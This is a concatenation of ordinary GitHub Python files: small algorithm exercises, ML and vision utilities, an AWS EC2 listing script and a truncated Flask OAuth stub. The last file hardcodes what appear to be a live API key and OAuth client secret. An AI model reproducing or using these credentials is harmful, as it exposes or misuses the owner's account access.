input('Digite a data no formato AAAA-MM-DD : ')\n lista_do_arquivo_1_filtrada = lista_arquivo_filtro_data(lista_do_arquivo_1,patch1,data)\n lista_do_arquivo_1 = lista_do_arquivo_1_filtrada[:]\n\n \n # Criando listas somente com o codigo de material, pois este eh unico\n codigos_arquivo_1 = extrai_codigo_material(lista_do_arquivo_1)\n codigos_arquivo_2 = extrai_codigo_material(lista_do_arquivo_2)\n\n\n codigos_arquivo_1_sem_repetidos = remove_repetidos(codigos_arquivo_1)\n codigos_arquivo_2_sem_repetidos = remove_repetidos(codigos_arquivo_2)\n\n codigos_arquivo_1 = codigos_arquivo_1_sem_repetidos[:]\n codigos_arquivo_2 = codigos_arquivo_2_sem_repetidos[:]#atualizando os codigos\n\n lista_do_arquivo_1_sem_repetidos = busca_codigo_material(lista_do_arquivo_1,codigos_arquivo_1)\n lista_do_arquivo_2_sem_repetidos = busca_codigo_material(lista_do_arquivo_2,codigos_arquivo_2)\n\n lista_do_arquivo_1 = lista_do_arquivo_1_sem_repetidos[:]\n lista_do_arquivo_2 = lista_do_arquivo_2_sem_repetidos[:]#atualizando os codigos\n\n \n # Varrendo as duas listas e limpando as repeticoes\n for i in codigos_arquivo_2:\n for j in codigos_arquivo_1:\n if j == i:\n lista_do_arquivo_1.pop(codigos_arquivo_1.index(j))#deleta item da lista normal\n codigos_arquivo_1.pop(codigos_arquivo_1.index(j))#deleta item da lista de codigos\n print(j) # imprime somente os iguais\n break\n\n \n # Gerando arquivo de saida\n for item_lista_do_arquivo_1 in lista_do_arquivo_1:\n item_lista_do_arquivo_1 = item_lista_do_arquivo_1 + '\\n'\n arquivo_out.write(item_lista_do_arquivo_1) #adiciona linhas ao arquivo de saida\n\n # Fechando os arquivos\n arquivo1.close()\n arquivo2.close()\n arquivo_out.close()\n a = input(\"PRESIONE PARA ENCERRAR!\")\n\nmain()#chamada de funcao principal\n","repo_name":"Neves-Roberto/python-course","sub_path":"COMPARACAO-RCJ-SISCOM.py","file_name":"COMPARACAO-RCJ-SISCOM.py","file_ext":"py","file_size_in_byte":6041,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2795670682","text":"#\n# @lc app=leetcode id=70 lang=python3\n#\n# [70] Climbing Stairs\n#\n\n# @lc code=start\nclass Solution:\n def climbStairs(self, n: int) -> int:\n ways = [0] * (n+1)\n ways[0] = 1\n ways[1] = 1\n\n if n < 2:\n return 1\n\n for i in range(2, n+1):\n ways[i] += ways[i-1]\n ways[i] += ways[i-2]\n \n return ways[n]\n# @lc code=end\n\n","repo_name":"Olament/Leetcode","sub_path":"70.climbing-stairs.py","file_name":"70.climbing-stairs.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"69933492429","text":"# insertion sort method\n# always maintains a sorted sub list in the lower positions of the list\n\ndef insert_sort(arr):\n for i in range(1, len(arr)):\n curr_val = arr[i]\n pos = i\n while pos > 0 and arr[pos-1] > curr_val:\n arr[pos] = arr[pos-1]\n pos = pos-1\n arr[pos] = curr_val\n\na = [4,3,5,6,2,4,8]\ninsert_sort(a)\nprint(a)","repo_name":"dallasmcgroarty/python","sub_path":"DataStructures_Algorithms/sorting/insertion_sort.py","file_name":"insertion_sort.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"14437022368","text":"import argparse\nimport os\n\nimport numpy as np\nimport wandb\nfrom torch.utils.data.dataset import Dataset\nfrom transformers.utils import logging\n\nfrom .misc import patchify, unpatchify\nfrom .training import Modality\n\nlogger = logging.get_logger(__name__)\n\n\ndef log_sequence_classification_predictions(\n training_args: argparse.Namespace,\n features: Dataset,\n examples: Dataset,\n predictions: np.ndarray,\n sentence1_key: str,\n sentence2_key: str,\n modality: Modality,\n prefix: str = \"eval\",\n):\n # Initialize wandb if not already done\n if not training_args.do_train:\n wandb.init(reinit=False)\n\n data = []\n out_file = os.path.join(training_args.output_dir, f\"{prefix}_outputs.csv\")\n with open(out_file, \"w\", encoding=\"utf-8\") as f:\n if sentence2_key:\n f.write(f\"sentence1\\tsentence2\\tlabel\\tprediction\\tlength\\n\")\n else:\n f.write(f\"sentence\\tlabel\\tprediction\\tlength\\n\")\n for feature, example, prediction in zip(features, examples, predictions):\n sentence1 = example[sentence1_key]\n if sentence2_key:\n sentence2 = example[sentence2_key]\n else:\n sentence2 = \"\"\n\n if modality == Modality.IMAGE:\n processed_input = wandb.Image(unpatchify(patchify(feature[\"pixel_values\"])))\n elif modality == Modality.TEXT:\n processed_input = feature[\"input_ids\"]\n else:\n raise ValueError(f\"Modality {modality} not supported.\")\n\n label = example[\"label\"]\n prediction = np.argmax(prediction)\n seq_len = len(sentence1) + len(sentence2)\n\n data.append([sentence1, sentence2, processed_input, label, prediction, seq_len])\n\n f.write(f\"{sentence1}\\t{sentence2}\\t{label}\\t{prediction}\\t{seq_len}\\n\")\n\n logger.info(f\"Saved predictions outputs to {out_file}\")\n logger.info(f\"Logging as table to wandb\")\n\n preds_table = wandb.Table(\n columns=[\"sentence1\", \"sentence2\", \"processed_input\", \"label\", \"prediction\", \"length\"], data=data\n )\n wandb.log({f\"{prefix}_outputs\": preds_table})\n","repo_name":"xplip/pixel","sub_path":"src/pixel/utils/logging.py","file_name":"logging.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"en","doc_type":"code","stars":310,"dataset":"github-code","pt":"82"} +{"seq_id":"25608027471","text":"import boto3\nfrom boto3 import client\n\n\nec2 = boto3.client('ec2', region_name='us-east-1')\n\n# Retrieves all regions/endpoints that work with EC2\nresponse = ec2.describe_regions()\nprint('Regions:', response['Regions'])\n\n# Retrieves availability zones only for region of the ec2 object\nresponse = ec2.describe_availability_zones()\nprint('Availability Zones:', response['AvailabilityZones'])\n\n\n## Instances in state running\nAWS_REGION = \"us-east-1\"\nEC2_RESOURCE = boto3.resource('ec2', region_name=AWS_REGION)\nINSTANCE_STATE = 'running'\ninstances = EC2_RESOURCE.instances.filter(\n Filters=[\n {\n 'Name': 'instance-state-name',\n 'Values': [\n INSTANCE_STATE\n ]\n }\n ]\n)\nprint(f'Instances in state \"{INSTANCE_STATE}\":')\nfor instance in instances:\n print(f' - Instance ID: {instance.id}')\n","repo_name":"monicalimachi/aws_boto3_workshop","sub_path":"ec2lists.py","file_name":"ec2lists.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39846544393","text":"#!/usr/bin/env python\n#-*- coding:utf-8 _*-\n__author__ = 'LJjia'\n# *******************************************************************\n# Filename @ shuffnetv2.py\n# Author @ Jia Liangjun\n# Create date @ 2022/03/07 16:13\n# Email @ LJjiahf@163.com\n# Description @ shuffnetv2 作为backbone\n# ********************************************************************\n\nfrom typing import Callable, Any, List\nimport torch\nimport torch.nn as nn\nfrom torch import Tensor\n\n\n__all__ = [\"ShuffleNetV2\", \"shufflenet_v2_x0_5\", \"shufflenet_v2_x1_0\"]\n\n\ndef channel_shuffle(x: Tensor, groups: int) -> Tensor:\n batchsize, num_channels, height, width = x.size()\n channels_per_group = num_channels // groups\n\n # reshape\n x = x.view(batchsize, groups, channels_per_group, height, width)\n\n x = torch.transpose(x, 1, 2).contiguous()\n\n # flatten\n x = x.view(batchsize, -1, height, width)\n\n return x\n\n\nclass InvertedResidual(nn.Module):\n def __init__(self, inp: int, oup: int, stride: int) -> None:\n super().__init__()\n\n if not (1 <= stride <= 3):\n raise ValueError(\"illegal stride value\")\n self.stride = stride\n\n branch_features = oup // 2\n assert (self.stride != 1) or (inp == branch_features << 1)\n\n if self.stride > 1:\n self.branch1 = nn.Sequential(\n self.depthwise_conv(inp, inp, kernel_size=3, stride=self.stride, padding=1),\n nn.BatchNorm2d(inp),\n nn.Conv2d(inp, branch_features, kernel_size=1, stride=1, padding=0, bias=False),\n nn.BatchNorm2d(branch_features),\n nn.ReLU(inplace=True),\n )\n else:\n self.branch1 = nn.Sequential()\n\n self.branch2 = nn.Sequential(\n nn.Conv2d(\n inp if (self.stride > 1) else branch_features,\n branch_features,\n kernel_size=1,\n stride=1,\n padding=0,\n bias=False,\n ),\n nn.BatchNorm2d(branch_features),\n nn.ReLU(inplace=True),\n self.depthwise_conv(branch_features, branch_features, kernel_size=3, stride=self.stride, padding=1),\n nn.BatchNorm2d(branch_features),\n nn.Conv2d(branch_features, branch_features, kernel_size=1, stride=1, padding=0, bias=False),\n nn.BatchNorm2d(branch_features),\n nn.ReLU(inplace=True),\n )\n\n @staticmethod\n def depthwise_conv(\n i: int, o: int, kernel_size: int, stride: int = 1, padding: int = 0, bias: bool = False\n ) -> nn.Conv2d:\n return nn.Conv2d(i, o, kernel_size, stride, padding, bias=bias, groups=i)\n\n def forward(self, x: Tensor) -> Tensor:\n if self.stride == 1:\n x1, x2 = x.chunk(2, dim=1)\n out = torch.cat((x1, self.branch2(x2)), dim=1)\n else:\n out = torch.cat((self.branch1(x), self.branch2(x)), dim=1)\n\n out = channel_shuffle(out, 2)\n\n return out\n\n\nclass ShuffleNetV2(nn.Module):\n def __init__(\n self,\n stages_repeats: List[int],\n stages_out_channels: List[int],\n num_classes: int = 1000,\n inverted_residual: Callable[..., nn.Module] = InvertedResidual,\n ) -> None:\n super().__init__()\n\n if len(stages_repeats) != 3:\n raise ValueError(\"expected stages_repeats as list of 3 positive ints\")\n if len(stages_out_channels) != 5:\n raise ValueError(\"expected stages_out_channels as list of 5 positive ints\")\n self._stage_out_channels = stages_out_channels\n\n input_channels = 3\n output_channels = self._stage_out_channels[0]\n self.conv1 = nn.Sequential(\n nn.Conv2d(input_channels, output_channels, 3, 2, 1, bias=False),\n nn.BatchNorm2d(output_channels),\n nn.ReLU(inplace=True),\n )\n input_channels = output_channels\n\n self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)\n\n # Static annotations for mypy\n self.stage2: nn.Sequential\n self.stage3: nn.Sequential\n self.stage4: nn.Sequential\n stage_names = [f\"stage{i}\" for i in [2, 3, 4]]\n for name, repeats, output_channels in zip(stage_names, stages_repeats, self._stage_out_channels[1:]):\n seq = [inverted_residual(input_channels, output_channels, 2)]\n for i in range(repeats - 1):\n seq.append(inverted_residual(output_channels, output_channels, 1))\n setattr(self, name, nn.Sequential(*seq))\n input_channels = output_channels\n\n output_channels = self._stage_out_channels[-1]\n # self.conv5 = nn.Sequential(\n # nn.Conv2d(input_channels, output_channels, 1, 1, 0, bias=False),\n # nn.BatchNorm2d(output_channels),\n # nn.ReLU(inplace=True),\n # )\n #\n # self.fc = nn.Linear(output_channels, num_classes)\n self.layers_out_filters = [116, 232, 464]\n self.weight_init()\n\n def forward(self, x: Tensor):\n # See note [TorchScript super()]\n x = self.conv1(x)\n x = self.maxpool(x)\n x = self.stage2(x)\n feat1 = x\n x = self.stage3(x)\n feat2 = x\n x = self.stage4(x)\n feat3 = x\n # x = self.conv5(x)\n # x = x.mean([2, 3]) # globalpool\n # x = self.fc(x)\n\n # 1x 输出尺度\n # 116x52x52\n # 232x26x26\n # 464x13x13\n return (feat1,feat2,feat3)\n\n def weight_init(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n # 一种正态分布\n nn.init.kaiming_normal_(m.weight, mode='fan_out')\n if m.bias is not None:\n nn.init.zeros_(m.bias)\n elif isinstance(m, nn.BatchNorm2d):\n nn.init.ones_(m.weight)\n nn.init.zeros_(m.num_batches_tracked)\n nn.init.zeros_(m.bias)\n elif isinstance(m, nn.Linear):\n nn.init.normal_(m.weight, 0, 0.01)\n nn.init.zeros_(m.bias)\n\n def load_model(self,path):\n model_dict = self.state_dict()\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n # 加载模型到device上\n pretrained_dict = torch.load(path, map_location=device)\n # 预训练模型和本地模型shape相等则加载权重\n pretrained_dict = {k: v for k, v in pretrained_dict.items() if\n (k in model_dict and np.shape(model_dict[k]) == np.shape(v))}\n # 查看未加载的权重\n # for k in model_dict.keys():\n # if k not in pretrained_dict:\n # print(\"local model layer %s not load!\" % k, )\n # print(\"from %s load all model weight\",path)\n model_dict.update(pretrained_dict)\n self.load_state_dict(model_dict)\n\n\ndef _shufflenetv2(arch: str, pretrained: bool, progress: bool, *args: Any, **kwargs: Any) -> ShuffleNetV2:\n model = ShuffleNetV2(*args, **kwargs)\n\n if pretrained:\n state_dict = torch.load('shufflenetv2_x1.pth')\n print('pretrain dict')\n for k in state_dict.keys():\n print(k)\n model.load_state_dict(state_dict)\n\n return model\n\n\ndef shufflenet_v2_x0_5(pretrained: bool = False, progress: bool = True, **kwargs: Any) -> ShuffleNetV2:\n \"\"\"\n Constructs a ShuffleNetV2 with 0.5x output channels, as described in\n `\"ShuffleNet V2: Practical Guidelines for Efficient CNN Architecture Design\"\n `_.\n\n Args:\n pretrained (bool): If True, returns a model pre-trained on ImageNet\n progress (bool): If True, displays a progress bar of the download to stderr\n \"\"\"\n return _shufflenetv2(\"shufflenetv2_x0.5\", pretrained, progress, [4, 8, 4], [24, 48, 96, 192, 1024], **kwargs)\n\n\ndef shufflenet_v2_x1_0(pretrained: bool = False, progress: bool = True, **kwargs: Any) -> ShuffleNetV2:\n \"\"\"\n Constructs a ShuffleNetV2 with 1.0x output channels, as described in\n `\"ShuffleNet V2: Practical Guidelines for Efficient CNN Architecture Design\"\n `_.\n\n Args:\n pretrained (bool): If True, returns a model pre-trained on ImageNet\n progress (bool): If True, displays a progress bar of the download to stderr\n \"\"\"\n return _shufflenetv2(\"shufflenetv2_x1.0\", pretrained, progress, [4, 8, 4], [24, 116, 232, 464, 1024], **kwargs)\n\n\nif __name__ == '__main__':\n from nets.backbone_test import *\n net=shufflenet_v2_x1_0(pretrained=False)\n # show_dict_keys(net.state_dict())\n # print('*'*50)\n # show_dict_keys(torch.load('shufflenetv2_x1.pth'))\n\n # net_test(net,'model_data/shufflenetv2_x1.pth','../img/cat_lab285.jpg',net_type='feature')","repo_name":"LJjia/mouse_detect_yolov3","sub_path":"nets/shuffnetv2.py","file_name":"shuffnetv2.py","file_ext":"py","file_size_in_byte":8795,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"39388020527","text":"from django.core.management.base import BaseCommand, CommandError\n\nfrom coinmena.models import Coin\n\n\nclass Command(BaseCommand):\n help = 'Closes the specified poll for voting'\n\n def add_arguments(self, parser):\n parser.add_argument('name', type=str)\n parser.add_argument('symbol', type=str)\n\n def handle(self, *args, **options):\n if Coin.objects.filter(symbol=options['symbol']).exists():\n print(f'Coin exists. \"{options[\"symbol\"]}\"')\n else:\n Coin.objects.create(name=options[\"name\"], symbol=options[\"symbol\"])","repo_name":"AnotherSoftwareCompany/coinmena","sub_path":"coinmena/management/commands/add_coin.py","file_name":"add_coin.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3833031697","text":"import re\nimport torch\n\nfrom fvt import VocabularyTransfer\n\n\nclass FastVocabularyTransfer(VocabularyTransfer):\n \"\"\"\n Fast Vocabulary Transfer\n \"\"\"\n\n def __init__(self):\n super(FastVocabularyTransfer, self).__init__()\n\n def tokens_mapping(self, in_tokenizer, gen_tokenizer, **kwargs):\n \"\"\"\n This method establish a mapping between each token of\n the in-domain tokenizer (in_tokenizer) to one or more tokens from\n the general-purpose (gen_tokenizer) tokenizer.\n\n :param in_tokenizer: Any huggingface tokenizer\n :param gen_tokenizer: Any huggingface tokenizer\n :param kwargs: no kwargs\n\n :return: A dictionary, having size of the in_tokenizer vocabulary.\n Each key is the index corresponding to a token in the in-tokenizer.\n Values are lists of indexes to the tokens of gen_tokenizer.\n \"\"\"\n\n gen_vocab = gen_tokenizer.get_vocab()\n in_vocab = in_tokenizer.get_vocab()\n\n tokens_map = {}\n for new_token, new_index in list(in_vocab.items()):\n # If the same token exists in the old vocabulary, take its embedding\n if new_token in gen_vocab:\n old_index = gen_vocab[new_token]\n tokens_map[in_vocab[new_token]] = [old_index]\n else:\n # if not, tokenize the new token using the old vocabulary\n # Remove '##' from the beginning of the subtoken\n token_partition = gen_tokenizer.tokenize(re.sub(\"^(##|Ġ|▁)\", '', new_token))\n tokens_map[in_vocab[new_token]] = [gen_vocab[old_token] for old_token in token_partition]\n\n return tokens_map\n\n def embeddings_assignment(self, tokens_map, gen_model, **kwargs):\n \"\"\"\n Given a mapping between two tokenizers and a general-purpose model\n trained on gen_tokenizer, this method produces a new embedding matrix\n assigning embeddings from the gen_model.\n\n :param tokens_map: A mapping between new and old tokens. See tokens_mapping(...)\n :param gen_model: An huggingface model, e.g. bert\n :param kwargs: no kwargs\n :return: (2-d torch.Tensor) An embedding matrix with same size of tokens_map.\n \"\"\"\n\n gen_matrix = gen_model.get_input_embeddings().weight\n in_matrix = torch.zeros(len(tokens_map), gen_matrix.shape[1])\n\n for new_index, old_token_indexes in tokens_map.items():\n old_embedding = torch.mean(gen_matrix[old_token_indexes], axis=0)\n in_matrix[new_index] = old_embedding\n\n return in_matrix\n","repo_name":"LeonidasY/fast-vocabulary-transfer","sub_path":"fvt/fvt.py","file_name":"fvt.py","file_ext":"py","file_size_in_byte":2595,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"82"} +{"seq_id":"72612272268","text":"def main():\n \n num = int(input(\"Digite um numero: \"))\n divisor = 2\n \n while num > 1:\n \n contador = 0\n \n while num % divisor == 0:\n num = num / divisor\n contador+= 1\n \n if contador > 0:\n print(\"{}^{}\" .format(divisor, contador), end=\" \")\n \n divisor += 1\n\n\nmain()\n ","repo_name":"FamousLuisin/Python","sub_path":"Coursera 1/Lista 6/decomposição.py","file_name":"decomposição.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6513689234","text":"\"\"\"https://codeforces.com/problemset/problem/112/A 800\"\"\"\n\n\ndef compare_strings() -> int:\n first = input().lower()\n second = input().lower()\n\n for i in range(len(first)):\n if ord(first[i]) < ord(second[i]):\n return -1\n if ord(first[i]) > ord(second[i]):\n return 1\n\n return 0\n\n\nprint(compare_strings())\n","repo_name":"Zener085/CodeWars","sub_path":"petya_and_strings.py","file_name":"petya_and_strings.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"18800560229","text":"import itertools\nimport os.path\nimport pickle\n\nimport jax.random\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport sklearn as sk\nfrom sklearn.decomposition import PCA\nfrom models import GSD\nfrom stats import ChainedStatistics, Halfspace, Marginals\n# from utils.utils_data import get_data\nimport jax.numpy as jnp\n# from dp_data.data import get_data\nfrom dp_data import load_domain_config, load_df, DataPreprocessor, ml_eval\nfrom utils import timer, Dataset, Domain, get_Xy, separate_cat_and_num_cols\nfrom utils.cdp2adp import cdp_rho, cdp_eps\nimport numpy as np\nfrom dev.ML.ml_utils import evaluate_machine_learning_task\n\nfrom sklearn.linear_model import LogisticRegression\nimport seaborn as sns\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.svm import SVC, LinearSVC\nfrom sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier, AdaBoostClassifier\nfrom xgboost import XGBClassifier\nfrom sklearn.metrics import make_scorer, f1_score, roc_auc_score, average_precision_score, accuracy_score\n\n\ndef test_ml(X_train, y_train, X_test, y_test, col_names, title=''):\n scorer = make_scorer(f1_score, average='macro')\n score_sum = []\n # clf = LogisticRegression(solver='liblinear', penalty='l1', random_state=0)\n clf = LogisticRegression(solver='sag', penalty='l2', random_state=0)\n # clf = KNeighborsClassifier()\n clf.fit(X_train, y_train)\n metric_test = scorer(clf, X_test, y_test)\n\n df = pd.DataFrame(np.column_stack((clf.coef_, clf.intercept_.reshape((1,1)))),\n columns=col_names + ['bias'])\n df['Kind'] = title\n\n score_sum.append(metric_test)\n score_sum = jnp.array(score_sum)\n\n return score_sum.mean(), df\n\n\n\ndef test_rf(X_train, y_train, X_test, y_test, feature_names, title=''):\n # X_train_proj = pca.transform(X_train)\n # X_test_proj = pca.transform(X_test)\n\n clf = RandomForestClassifier(random_state=0)\n clf.fit(X_train, y_train)\n # y_pred = clf.predict(X_test_proj)\n importances = clf.feature_importances_\n std = np.std([tree.feature_importances_ for tree in clf.estimators_], axis=0)\n indices = np.argsort(importances)[::-1]\n\n num_imp_feat = 10\n indices = indices[:num_imp_feat]\n\n # Plot the impurity-based feature importances of the forest\n # feature_names = [f'C{i}' for i in range(X_test_proj.shape[0])]\n x_labels = [feature_names[x] for x in indices]\n plt.figure()\n plt.title(f\"Feature importances {title}\")\n plt.bar(x=x_labels, height=importances[indices],\n color=\"r\", yerr=std[indices], align=\"center\")\n plt.xticks(rotation=45)\n plt.xlim([-1, len(x_labels)])\n plt.show()\n\n scorer = make_scorer(f1_score, average='macro')\n metric_test = scorer(clf, X_test, y_test)\n return metric_test, None\n\n\nRESCALE =False\n\ndef plot_marginal_dist(real_df, sync_df, feature_col, label_col):\n\n real_col_df = real_df[[feature_col, label_col]]\n sync_col_df = sync_df[[feature_col, label_col]]\n real_col_df.loc[:, 'Kind'] = 'Real'\n sync_col_df.loc[:, 'Kind'] = 'Sync'\n\n if RESCALE:\n sync_mean = sync_col_df[feature_col].mean()\n sync_std = sync_col_df[feature_col].mean()\n\n sync_col_df.loc[:, feature_col] = (sync_col_df.loc[:, feature_col] - sync_mean) / sync_std\n real_col_df.loc[:, feature_col] = (real_col_df.loc[:, feature_col] - sync_mean) / sync_std\n\n def hist_plot(x, **kwargs):\n # data = pd.concat([x, y], ignore_index=True)\n # sns.histplot(data=data, x='')\n\n plt.hist(x, **kwargs)\n\n df = pd.concat([real_col_df, sync_col_df], ignore_index=True)\n df.loc[:, feature_col] = df.loc[:, feature_col] + 0.0001\n # g = sns.FacetGrid(data=df, row='Kind', hue=label_col)\n # g.map(hist_plot, x)\n\n df = df[(df[feature_col]>-2 ) & (df[feature_col] < 2)]\n sns.displot(\n df, x=feature_col, hue=label_col, row=\"Kind\",\n binwidth=0.03,\n # height=3,\n log_scale=(False, True),\n facet_kws=dict(margin_titles=True),\n )\n plt.show()\n\nif __name__ == \"__main__\":\n\n rescale = True\n\n dataset_name = 'folktables_2018_multitask_CA'\n root_path = '../../../dp-data-dev/datasets/preprocessed/folktables/1-Year/'\n config = load_domain_config(dataset_name, root_path=root_path)\n train_df = load_df(dataset_name, root_path=root_path, idxs_path='seed0/train')\n test_df = load_df(dataset_name, root_path=root_path, idxs_path='seed0/test')\n\n preprocesor: DataPreprocessor\n preprocesor = pickle.load(open(f'{root_path}/{dataset_name}/preprocessor.pkl', 'rb'))\n\n domain = Domain.fromdict(config)\n data = Dataset(train_df, domain)\n cat_cols = domain.get_categorical_cols()\n num_cols = domain.get_numeric_cols()\n targets = ['JWMNP_bin', 'PINCP', 'MIG', 'PUBCOV', 'ESR']\n features = []\n for f in domain.attrs:\n if f not in targets:\n features.append(f)\n\n epsilon = 1\n\n columns = []\n cols_num, cols_cat = separate_cat_and_num_cols(domain, features)\n for cat in cols_cat:\n for i in range(domain.size(cat)):\n columns.append(f'{cat}({i})')\n for num_c in cols_num:\n columns.append(f'{num_c}')\n\n # sync_path_bt_prefix = \"/home/giuseppe/Code/private_genetic_algorithm/dev/ICML/bintree_prefix_ml/sync_data/folktables_2018_multitask_CA/GSD/BT+Prefix/50/1/10.00/sync_data_0.csv\"\n # sync_df = pd.read_csv(sync_path_bt_prefix)\n sync_df = pd.read_csv(f'sync_data/GSD/folktables_2018_multitask_CA/GSD/Binary_Tree_Marginals/{epsilon:.2f}/sync_data_0.csv')\n\n\n # plot_marginal_dist(train_df.sample(2000), sync_df, feature_col='WKHP', label_col='PINCP')\n # plot_marginal_dist(train_df.sample(2000), sync_df, feature_col='INTP', label_col='PINCP')\n # plot_marginal_dist(train_df.sample(2000), sync_df, feature_col='SEMP', label_col='PINCP')\n # plot_marginal_dist(train_df.sample(2000), sync_df, feature_col='WAGP', label_col='PINCP')\n plot_marginal_dist(train_df.sample(2000), sync_df, feature_col='SEMP', label_col='PINCP')\n\n\n\n _, _, X_test, y_test = get_Xy(domain, features=features, target='PINCP',\n df_train=sync_df,\n df_test=test_df,\n rescale=rescale)\n\n X_train_sync, y_train_sync, X_train, y_train = get_Xy(domain, features=features, target='PINCP',\n df_train=sync_df,\n df_test=train_df,\n rescale=rescale)\n\n\n ## ML Test\n f1, real_coef_df = test_rf(X_train, y_train, X_test, y_test, columns, title='Real:')\n print(f'Real w/ Sync-PCA: f1={f1:.3f}')\n f1, sync_coef_df = test_rf(X_train_sync, y_train_sync, X_test, y_test, columns, title='Sync:')\n print(f'Sync w/ Sync-PCA: f1={f1:.3f}')\n\n\n df = pd.concat([real_coef_df, sync_coef_df])\n\n\n print(df)","repo_name":"giusevtr/private_gsd","sub_path":"dev/ML/acsmultitask/ML_debug 3.py","file_name":"ML_debug 3.py","file_ext":"py","file_size_in_byte":7013,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"71425767307","text":"import numpy as np\nimport pyscreenshot as ImageGrab\nimport cv2\nimport time\nimport tkinter\nfrom yolo_object_detection_satellite_image import predict_on_img_chip\nimport sys\n\n# making the program DPI aware on Windows. Doing this will make sure that tkinter gets the windows resolution\n# Uncomment if using on windows\n#\"\"\"\nfrom ctypes import windll\nuser32 = windll.user32\nuser32.SetProcessDPIAware()\n#\"\"\"\n\nfont = cv2.FONT_HERSHEY_PLAIN\n\n#colors = np.random.uniform(0, 255, size=(len(classes), 3))\ncolors = np.array([[255.,0.,0.],[0.,0.,255.]])\n \ncv2.useOptimized()\n\ndef screen_record(): \n \"\"\"\n This function starts recording the left half of the screen and then feed it to the YOLOV3 network \n and the network starts predicting. The results are shown live on the right window named \"Live Testing\"\n \"\"\"\n\n # start_w, start_h are the coordinates from where we have to start capturing the screen. (0,0) is the leftmost point on your screen.\n start_w,start_h = 0,0\n # get_screen_resolution() returns the exact screen resulotion of your system\n width,height = get_screen_resolution()\n winname = \"Live Testing\"\n #cv2.namedWindow(winname)\t# Create a named window\n #cv2.moveWindow(winname, width//2,0)\t# Move cv window to right side\n #cv2.setWindowProperty(winname, cv2.WND_PROP_FULLSCREEN, cv2.WINDOW_FULLSCREEN)\n\n last_time = time.time()\n\n while(True):\n #capturing the left half of the display\n frame_from_screen = np.array(ImageGrab.grab(bbox=(start_w, start_h, width//2-start_w, height-start_h)))\n print(frame_from_screen.shape)\n print('loop took {} seconds'.format(time.time()-last_time))\n\n \n # Processing Detections\n prediction_values = predict_on_img_chip(cv2.cvtColor(frame_from_screen, cv2.COLOR_BGR2RGB))\n boxes = prediction_values['boxes']\n confidences = prediction_values['confidences']\n class_ids = prediction_values['class_ids']\n classes = [\"MeshAntenna\",\"Radome\"]\n\n # Non Max supressions on the detections to remove noisy and overlapping detections\n indexes = cv2.dnn.NMSBoxes(boxes, confidences, 0.5, 0.4)\n for i in range(len(boxes)):\n if i in indexes:\n x, y, w, h = boxes[i]\n label = str(classes[class_ids[i]])\n color = colors[class_ids[i]]\n cv2.rectangle(frame_from_screen, (x, y), (x + w, y + h), color, 2)\n cv2.putText(frame_from_screen, label, (x, y + 30), font, 3, color, 2)\n\n #sys.stdout.flush()\n #GUI_support.update_frame(cv2.cvtColor(frame_from_screen, cv2.COLOR_BGR2RGB))\n #cv2.useOptimized()\n \n # Showing the processed detections in a opencv window\n cv2.imshow(winname, cv2.cvtColor(frame_from_screen, cv2.COLOR_BGR2RGB))\n\n last_time = time.time()\n \n if cv2.waitKey(25) & 0xFF == ord('q'):\n cv2.destroyAllWindows()\n break\n \n\ndef get_screen_resolution():\n\troot = tkinter.Tk()\n\twidth = root.winfo_screenwidth()\n\theight = root.winfo_screenheight()\n\treturn width,height\n\nscreen_record()\n\n","repo_name":"abhinavmaurya747/Satellite_Imagery_Prediction","sub_path":"live_predictions/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3655136526","text":"import asyncio\n\nCLIENT_ID = \"37141\"\n# CLIENT_SECRET = \"IHuCXKBZe__SQP7bfAeBZllBRCnuhA\"\n# http://localhost:65010/\nREDIRECT_URI = \"http://localhost:65010/reddit_callback2\"\napi_key='afb7b0fcc0604ab49612af8de1b758f2'\napi_key='afb7b0fcc0604ab49612af8de1b758f2'\nCLIENT_SECRET='L6j-9vwZFv.uLcbx76o-o9JrEKSglu2Xz6lde45bYSA'\n\n# AA=requests.get('https://www.bungie.net', params='en/OAuth/Authorize')\n\nfrom flask import Flask\nimport requests\nimport json\n\n\"\"\"\ntry token\n\ntry refresh\n\n\n\"\"\"\n\napp = Flask(__name__)\n\n\n\nasync def fetch_token(url,headers,data):\n response = requests.request(\"POST\", url, headers=headers, data=data)\n return response\n\n@app.route('/')\nasync def homepage():\n text = 'Authenticate with reddit'\n\n # test\n error = request.args.get('error', '')\n code = request.args.get('code', '')\n\n 